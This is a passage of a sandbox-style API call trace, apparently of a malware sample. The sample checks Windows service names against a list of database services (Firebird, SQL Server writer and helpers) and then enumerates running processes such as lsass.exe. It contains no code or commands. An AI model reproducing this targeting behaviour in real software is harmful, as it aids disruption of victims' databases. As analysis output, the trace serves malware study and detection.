lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0166.939] lstrlenW (lpString="DusmSvc") returned 7 [0166.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0166.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0166.939] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0166.939] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0166.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0166.939] lstrlenW (lpString="EventLog") returned 8 [0166.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0166.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0166.940] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0166.940] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0166.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0166.940] lstrlenW (lpString="EventSystem") returned 11 [0166.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.940] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.940] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.940] lstrlenW (lpString="FontCache") returned 9 [0166.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0166.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0166.940] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0166.940] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0166.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0166.940] lstrlenW (lpString="gpsvc") returned 5 [0166.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.940] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.940] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.940] lstrlenW (lpString="iphlpsvc") returned 8 [0166.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.940] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.940] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.941] lstrlenW (lpString="KeyIso") returned 6 [0166.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0166.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0166.941] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0166.941] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0166.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0166.941] lstrlenW (lpString="LanmanServer") returned 12 [0166.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.941] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.941] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.941] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.941] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.941] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.941] lstrlenW (lpString="lfsvc") returned 5 [0166.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0166.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0166.941] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0166.941] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0166.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0166.942] lstrlenW (lpString="lmhosts") returned 7 [0166.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.942] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.942] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.942] lstrlenW (lpString="LSM") returned 3 [0166.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0166.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0166.942] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0166.942] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0166.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0166.942] lstrlenW (lpString="MpsSvc") returned 6 [0166.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.942] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.942] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0166.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.942] lstrlenW (lpString="NcbService") returned 10 [0166.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0166.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0166.942] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0166.942] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0166.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0166.942] lstrlenW (lpString="netprofm") returned 8 [0166.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.943] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.943] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.943] lstrlenW (lpString="NgcSvc") returned 6 [0166.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0166.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0166.943] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0166.943] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0166.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0166.943] lstrlenW (lpString="NlaSvc") returned 6 [0166.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.943] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.943] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.943] lstrlenW (lpString="nsi") returned 3 [0166.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.943] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.943] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.943] lstrlenW (lpString="PcaSvc") returned 6 [0166.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.944] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.944] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0166.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.944] lstrlenW (lpString="PlugPlay") returned 8 [0166.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.944] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.944] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.944] lstrlenW (lpString="Power") returned 5 [0166.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.944] lstrlenW (lpString="ProfSvc") returned 7 [0166.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.944] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.944] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.944] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.944] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.944] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.945] lstrlenW (lpString="RpcSs") returned 5 [0166.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.945] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.945] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.945] lstrlenW (lpString="SamSs") returned 5 [0166.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.945] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.945] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.945] lstrlenW (lpString="Schedule") returned 8 [0166.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.945] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0166.945] lstrlenW (lpString="SecurityHealthService") returned 21 [0166.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.945] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0166.945] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0166.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0166.945] lstrlenW (lpString="SENS") returned 4 [0166.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.946] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.946] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.946] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.946] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.946] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.946] lstrlenW (lpString="Spooler") returned 7 [0166.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0166.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0166.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0166.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0166.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0166.946] lstrlenW (lpString="StateRepository") returned 15 [0166.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0166.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0166.946] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0166.946] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0166.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0166.946] lstrlenW (lpString="SysMain") returned 7 [0166.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0166.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0166.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0166.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0166.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0166.947] lstrlenW (lpString="SystemEventsBroker") returned 18 [0166.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0166.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0166.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0166.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0166.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0166.947] lstrlenW (lpString="Themes") returned 6 [0166.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0166.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0166.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0166.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0166.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0166.947] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0166.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0166.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0166.947] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0166.947] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0166.947] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577b98 | out: hHeap=0x710000) returned 1 [0166.947] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f0 [0167.195] Process32FirstW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.196] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.197] lstrlenW (lpString="System") returned 6 [0167.197] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.198] lstrlenW (lpString="smss.exe") returned 8 [0167.198] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.199] lstrlenW (lpString="csrss.exe") returned 9 [0167.199] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.201] lstrlenW (lpString="wininit.exe") returned 11 [0167.201] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.202] lstrlenW (lpString="csrss.exe") returned 9 [0167.202] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.203] lstrlenW (lpString="winlogon.exe") returned 12 [0167.203] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.204] lstrlenW (lpString="services.exe") returned 12 [0167.204] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.206] lstrlenW (lpString="lsass.exe") returned 9 [0167.206] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0167.207] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0167.207] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0167.208] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0167.208] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.209] lstrlenW (lpString="svchost.exe") returned 11 [0167.209] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.210] lstrlenW (lpString="svchost.exe") returned 11 [0167.210] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.210] lstrlenW (lpString="dwm.exe") returned 7 [0167.211] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.211] lstrlenW (lpString="svchost.exe") returned 11 [0167.212] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.212] lstrlenW (lpString="svchost.exe") returned 11 [0167.213] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.213] lstrlenW (lpString="svchost.exe") returned 11 [0167.213] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.214] lstrlenW (lpString="svchost.exe") returned 11 [0167.214] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.215] lstrlenW (lpString="svchost.exe") returned 11 [0167.216] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.216] lstrlenW (lpString="svchost.exe") returned 11 [0167.216] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.217] lstrlenW (lpString="svchost.exe") returned 11 [0167.217] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.218] lstrlenW (lpString="svchost.exe") returned 11 [0167.218] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.219] lstrlenW (lpString="svchost.exe") returned 11 [0167.219] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.220] lstrlenW (lpString="svchost.exe") returned 11 [0167.220] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.221] lstrlenW (lpString="spoolsv.exe") returned 11 [0167.221] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.222] lstrlenW (lpString="svchost.exe") returned 11 [0167.222] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 